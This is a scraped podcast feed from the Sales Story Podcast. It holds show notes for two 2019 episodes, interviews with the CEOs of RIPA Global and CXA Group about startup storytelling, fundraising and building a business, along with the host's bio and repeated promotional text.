Activate the Power of Your Own Story?

Elevate your personal brand, step into your authority and impact lives, without struggling to get buy-in, or not feeling aligned with the type of authority you were destined to become. Ready to transform your unspoken narrative?

Stand out by Telling your own Story

Become the storyteller everyone remembers.

Do you struggle to craft your stories?

Do the people listening get lost or confused?

Do you find that projects take longer because your team/stakeholders/customers are misaligned?

Do you feel unsure of how to inspire people to get their buy-in and build your authority?

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36672
Episode 2 – How to craft a story for a disruptive solution with Melissa Gollan, CEO, RIPA Global https://salesstorymethod.com/crafting-a-story-for-a-disruptive-solution/ Thu, 08 Aug 2019 09:00:19 +0000 https://salesstorymethod.com/?p=35808

SSP 02: HOW TO CRAFT A STORY FOR A DISRUPTIVE SOLUTION

Featuring Melissa Golan, CEO, RIPA Global
By Yasmine Khater on August 8, 2019

Back to episode list

 TODAY'S GUEST

Melissa Gollan, CEO, RIP Global

Every wondered how to craft a story for a disruptive service not even close to anything that exist. Then you are going to love this episode, Melissa dives in and shares how built a story and sold it to the New Zealand government as her first client. RIP Global exists to solve the problem of processing receipts and invoices. They have helped New Zealand saved 200 million/per and 200 million hours of time on boring jobs that no one wants. Now they are planning to go global and work with companies to do the same.

You'll Learn

– How an technical, non accountant launched and scaled a tech company
– The one secret tip to design an incredible product that sells
– How to create a trust based culture where you have to kick your employees out
– The one funding advise Melissa gives that is not what it seems

Show Notes

What is the vision of RIP Global? Why do they exist and what do they do?

They solve the problem of processing receipts and invoices. No one cares what language technology is built in. They care what it can do for you. The best technology is one you don’t even know you’re using,

[01:30] How does RIP Global’s software work?

The relationship between the customer, merchant, and sales system are connected. The merchant prints the receipt and hands it to the customer to do something. It should be automated and digital, and instead is manual.

Flexible automation. An accountant or lawyer incurs expenses on behalf of a client and need to bill it back to the client. The customer can pay and walk away. A four to nine touch process is reduced to two: buy and audit. There’s a difference between digitization and automation. Even if a receipt is emailed, you must consolidate your purchasing information into one location.

[03:45] How long has the company been around?
RIP Global, an enterprise automation platform for compliance, has been around for 5 years. There’s an 8% fraud rate with expensing and they pipe in clean data. They have patents all over the world to deal with businesses that don’t want to process receipts anymore, which is everybody. The only way to become fraud-free without wasting time and money is to automate.

[05:30] How did you land the New Zealand government as your first client?
This product will save the government $200 million per year and 2 million hours of time. There’s a social aspect: it takes away awful jobs from people to do more productive things, it eliminates fraud, and is better for the environment.

[07:00] How did you get investors onboard with your vision when you first started out?
The first small round went to friends and family. Then, she onboarded strategic investors. Business owners who process receipts “get” that this is the most hated problem. She’s raised $2.5 million in revenue and is about to close out another round. It’s about choosing the right people, like dating.

[08:30] How did you get the Australian government as a client as well?
They are working on an Australian, New Zealand, Singaporean joint venture promoting digital framework invoices to speed up payments. Turnaround was nearly one month and is now 3 days.

[10:00] What was it like to hire the first batch of employees?
Melissa made a few mistakes and kissed a few frogs. Then, she actively hunted for people who wanted to work for a globally-focused company, recruiting the best tech team in New Zealand. One employee didn’t know what a receipt was and didn’t see the value in the product. The team is now fully invested. They don’t want to leave at the end of the day.

[13:50] How do you onboard your clients?
They signup that client, ask where to spend their expensing. They want to work with merchants that care about service, making more money, and loyalty systems. They can share data and grow that revenue.

[16:10] What ecosystem are you building?
The app gives merchants the ability to offer deals back to the client. They’re payment-neutral and work for checks, cash, debit, and credit. They aren’t forcing fees on that merchant.

Melissa is not an accountant but understands the pain of the merchants. She can help them stop printing receipts, provide customer data, and open up new advertising opportunities.

[18:30] What is your personal vision?
They’re an automated platform for compliance, which involves expenses, bookkeeping, pushing data into QuickBooks, SAP, Oracle. Text extract could be next. They could take over the horrible things people don’t like doing. Building products is about finding the things people don’t like doing, and getting rid of them. Digitisation and automation will change peoples’ lives. Pay attention, feel pain, and choose one problem to solve.

[21:00] What is one last piece of advice you’d like to share?
People don’t like disruption. Prepare yourself for push back from the status quo. Give yourself plenty of time. Appreciate that it’s a marathon, not a sprint. Do what you can to protect your intellectual property and your business.

Choose investors who won’t only give you money. Make friends with connections.

About the Host

Hey, I’m Yasmine Khater, I am the founder of the Sales Story Method and host of the Sales Story Podcast.

In case you don’t know me, here’s something about me. First, I know exactly what you’re going through. And I’ll tell you why.. I was not always persuasive. I had spent most of my life shy and afraid to speak up. I thought that getting someone to say yes was a talent that only a few people had.

Then I started to study the brain, and why people said no. Once I understood the reason behind their resistance, I realised that it all came down to their fears. And that true leadership is about helping others overcome their fears.

So I started to study what it takes to influence. My findings allowed me to crowdfund over $150K, build and sell a company, land speaking engagements and have full-page press coverage.

Over the last five years I’ve helped senior leaders in over 100 MNCs – including organisations like DBS, Salesforce, ClubMed, Danone and GoJek – and governments use stories to stand out, close sales, inspire their team and grow their businesses (and careers). I’ve also helped entrepreneurs raise millions in funds.
On a lighter note, I am an aspiring “armchair” neuroscientist, with a degree in Psychology and who loves to study the brain. I come from a mixed heritage and because I love exploring and learning about people and culture, I have lived in 7 countries and travelled to over a quarter of all the countries in the world.

Tune in for More Prudent Tips

Are you Ready to
Activate the Power of Your Own Story?

Elevate your personal brand, step into your authority and impact lives, without struggling to get buy-in, or not feeling aligned with the type of authority you were destined to become. Ready to transform your unspoken narrative?

Stand out by Telling your own Story

Become the storyteller everyone remembers.

Do you struggle to craft your stories?

Do the people listening get lost or confused?

Do you find that projects take longer because your team/stakeholders/customers are misaligned?

Do you feel unsure of how to inspire people to get their buy-in and build your authority?

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SSP 01 : How your story is the catalyst to creating a billion dollar business with Rosaline Chow Koo, CEO, CXA https://salesstorymethod.com/creating-a-billion-dollar-business/ Thu, 18 Jul 2019 09:00:41 +0000 https://salesstorymethod.com/?p=35824

SSP 01: HOW YOUR STORY IS THE CATALYST TO CREATING A BILLION DOLLAR BUSINESS

Featuring Rosaline Chow Koo, CEO, CXA Group
With Your Host Yasmine Khater on July 18th, 2019

Back to episode list

 TODAY'S GUEST

ROSALINE CHOW KOO, CEO, CXA Group

CXA’s vision is to make the workforce healthy. They re-deploy insurance money (only helpful if you get sick, injured, or hospitalised) and move it into early detection and disease prevention.

They started with Fortune 500 in 3 countries for 6 years, but are now white-labeled by banks and insurers for hundreds of thousands of commercial clients, and the millions of employees of those.

You'll Learn

– How Rosaline made a career for herself even after she took time off

– Why she risked 10 million dollars to start CXA Group

– Shift between the old and new way of selling insurance

– How CXA is leveraging clients as part of their growth story

– How to create a culture that lives and breathes the brand

– The one career advise Rosaline gives that has changed the trajectory of her career

Show Notes

Welcome to the first episode of The Sales Story Podcast. Today’s guest is Rosaline Chow Koo, the CEO of CXA.

Why make the world healthier? It took Rosaline 50 years to get healthy. When she was running Mercer, they looked at receipts and found out chronic disease was coming to Asia 10 years earlier than Europe and the US due to abdominal fat, the food they eat, lack of exercise, and genetics. It became important to combat chronic disease in Asia.

The first component of storytelling is believing the person sharing the story.

Rosaline was running Mercer & Marsh in 14 countries. They grew 800%, but during the last 5 years, she was trying to convince them to use technology to personalise to each person, and the higher-ups said no.

She left and did it on her own. She used her own money to buy her first broker and build her first platform. She used all her savings ($5 million) plus borrowed $5 million more to create her own company. She saw the need and couldn’t convince anyone to do it, so she did it herself.

Six years in, she wanted to work with the largest banks and insurance companies. She used to use telemarketers or people lurking in branches, which was not effective. They went digital.

Rosaline was in retirement services and built the 401k of healthcare. Every job she had was workplace related with benefits or payroll. Now she connects the dots.

The old way of selling insurance was cold calling, but people are more weary, and the internet helps people evaluate and make better decisions.

Rosaline uses her own personal stories, including childhood, to be personal and build trust. She was always an outsider looking in, being bullied, and fighting all the time.

You lose your fear growing up in that environment, including the fear of failure. However, she didn’t become confident until 40 and stopped caring at age 50.

It’s okay to share your vulnerabilities and failure. You’re trying to pay it forward by keeping others from making the same mistakes.

More women at age 60 start new companies than at age 50, because they’ve overcome insecurities. One of Rosaline’s first hires was a doctor, who said the unhealthiest person she’d met could not be the face of the company.

Rosaline had no time for sleeping, eating, drinking water, or exercising. She was so busy, she didn’t know she was unhealthy. She is focused on how to pay it forward and make a big impact.

All CXA’s investors ($25 million a few weeks ago) are clients. If their offer can help improve health and repurpose money from treatment to prevention, it gives those clients permission to bundle their own services.

Banks in Asia will offer mortgages, mortgage protection, and life insurance for your spouse in a bundle. If you can help someone with their health and their families, you have permission for other things.

It’s about building the trust trail. The more you build trust, the more you can ask for more things. Don’t ask for a $200k-$300k sale without building any layers of trust. You’ve lost me as a client forever. Banks are now more customer-centric.

Was it hard to get people to buy into prevention? It’s had to be brick-by-brick. People in Asia are fearful of startups. Her first ten employees left firms and were looking.

Some were interns and some were her children. Their first clients were Rosaline’s ex-clients. In the first year, they showed prototypes and helped solved issues.

One was a tech company, one was financial service, one was manufacturing. Many more employees joined after the company was valued at $100 million.

When you’re building something that’s never been built before, and you buy an old company (four brokers now), changing is hard. There are always protest when you change.

They also have to integrate with all the hospitals, insurers, gyms, health screeners, tele-docs. Not everyone can take an API, sometimes it’s SFTP and Microsoft Excel/Outlook. They survived the five-year mark.

People may have blood tests or screeners, but no one pulls it together. Physicians cannot see if diabetes and cancer is related to family history or lifestyle.

CXA covers insurance, wellness, disease management, and connects all the components. They build a quotation system so insurance companies can place bids simultaneously.

The brokers have not caught up. The proposition to companies: if you appoint us as the broker, you get our platform for free to get your employees healthy. If you can prevent claims, you can reduce costs.

Each person gets a health age versus body age. You can improve your health even after age 50. Many people in Asia are simply living fast-paced stressful lives and don’t know anything different.

Getting healthy is a matter of education. You don’t know until something happens.

The team runs trials on themselves. They split into 25 teams of 10 each, took blood tests, weighed themselves, and competed against each other with step challenges, Zumba, yoga, mindfulness, took pictures of food, learned about carbs/nutrition, recorded videos chanting against each other, etc.

After 8 weeks, they lost 65 kilograms, 360 inches off their waists, people felt better, and improved habits. HBA1C (blood sugar) improved.

There’s a solar panel manufacturer who, over the course of growing his company, began caring about the environment. Sometimes, by solving a problem, you begin championing that cause.

Beyond CXA, Rosaline is big on diversity. How do we have more role models for women to get them to maximize their potential?

Women need role models go outside their comfort zone and follow their passion. Women tend to rise to the occasion, and underestimate themselves.

You won’t stretch unless you do things you aren’t ready for. It’s like sports: do something beyond what you’re doing now to stretch and grow.

Take that extra step because it can only help you. Pursue the promotion, lateral job change, or entrepreneurship.

Start with the small first step. Even if you fail, get back up and take the next step. Setbacks don’t drag you down, they make you stronger.

About the Host

Hey, I’m Yasmine Khater, I am the founder of the Sales Story Method and host of the Sales Story Podcast.

In case you don’t know me, here’s something about me. First, I know exactly what you’re going through. And I’ll tell you why.. I was not always persuasive. I had spent most of my life shy and afraid to speak up. I thought that getting someone to say yes was a talent that only a few people had.

Then I started to study the brain, and why people said no. Once I understood the reason behind their resistance, I realised that it all came down to their fears. And that true leadership is about helping others overcome their fears.

So I started to study what it takes to influence. My findings allowed me to crowdfund over $150K, build and sell a company, land speaking engagements and have full-page press coverage.

Over the last five years I’ve helped senior leaders in over 100 MNCs – including organisations like DBS, Salesforce, ClubMed, Danone and GoJek – and governments use stories to stand out, close sales, inspire their team and grow their businesses (and careers). I’ve also helped entrepreneurs raise millions in funds.
On a lighter note, I am an aspiring “armchair” neuroscientist, with a degree in Psychology and who loves to study the brain. I come from a mixed heritage and because I love exploring and learning about people and culture, I have lived in 7 countries and travelled to over a quarter of all the countries in the world.

Tune in for More Prudent Tips

Are you Ready to
Activate the Power of Your Own Story?

Elevate your personal brand, step into your authority and impact lives, without struggling to get buy-in, or not feeling aligned with the type of authority you were destined to become. Ready to transform your unspoken narrative?

Stand out by Telling your own Story

Become the storyteller everyone remembers.

Do you struggle to craft your stories?

Do the people listening get lost or confused?

Do you find that projects take longer because your team/stakeholders/customers are misaligned?

Do you feel unsure of how to inspire people to get their buy-in and build your authority?

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